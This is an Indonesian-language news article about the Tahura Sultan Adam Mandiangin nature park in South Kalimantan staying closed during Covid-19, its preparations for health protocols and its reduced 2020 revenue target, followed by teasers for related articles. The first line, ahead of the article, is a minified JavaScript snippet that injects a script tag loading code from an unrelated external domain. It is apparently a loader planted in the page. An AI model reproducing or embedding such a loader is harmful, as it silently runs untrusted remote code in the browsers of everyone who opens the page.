(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Lebih dari 3 bulan sejak merebaknya pandemi Covid-19, kawasan alam Tahura Sultan Adam Mandiangin di Kabupaten Banjar tak lagi dibuka untuk umum. Tentunya hal ini sangat berpengaruh terhadap pendapatan di objek wisata milik Pemprov Kalsel tersebut.
Awalnya, Dinas Kehutanan (Dishut) Provinsi Kalsel mengeluarkan kebijakan untuk menutup sementara kawasan wisata Tahura Sultan Adam. Dilakukan selama 14 hari, terhitung sejak 16 Maret sampai dengan 29 Maret 2020.
Namun, lantaran angka kasus sebaran Covid-19 di Kalsel terus meningkat terkait pembukaan kembali objek wisata tersebut masih tidak jelas.
Kepala UPT Tahura Sultan Adam Ainun Jariah mengatakan, selama 3 bulan lebih penutupan tanpa adanya pengunjung, pihaknya hanya melakukan pemeliharaan satwa dan kebersihan.
“Sabtu dan Minggu petugas tetap berkeja, karena disini ada satwa juga yang dipelihara. Petugas kebersihan tetap menyapu dan perbaikan taman. Ya bisa dibilang rehab ringan,” kata Ainun Jariah, Senin (8/6/2020) siang.
Ihwal rencana untuk membuka kembali kawasan alam Tahura Sultan Adam, Ainun mengaku belum menerima perintah. Hanya saja, dengan adanya kebijakan New Normal yang dicetuskan oleh pemerintah pusat, pihaknya kini telah diperintahkan untuk menyiapkan penerapan protokol Covid-19.
Dalam hal ini, objek wisata Tahura Sultan Adam diminta untuk menyediakan tempat cuci tangan. Termasuk juga membuat aturan yang mengharuskan para pengunjung untuk menggunakan masker, jika nantinya kawasan alam ini kembali dibuka.
“Gubernur Kalsel melalui pak Hanif sebagai Kadishut telah memberikan perintah untuk siap-siap menerapkan protokol Covid-19 yang akan diterapkan untuk pengunjung. Meskipun, kita belum menerima informasi kapan mulai akan dibuka,” lanjut Ainun.
Ditanya dampak dari pandemi Covid-19, diakui Ainun sangat mempengaruhi target pendapatan yang dikumpulkan. Walhasil, target awal pendapatan di objek wisata Tahura Sultan Adam pada tahun 2020 dipastikan tidak akan tercapai.
“Sebenarnya target kita Rp 1,5 miliar. Tapi karena pandemi, target diturunkan jadi Rp 1 miliar. Dari Bakeuda (Badan Keuangan Daerah) juga telah meminta konfirmasi ke kita untuk merevisi target pendapatan tahun ini,” pungkasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.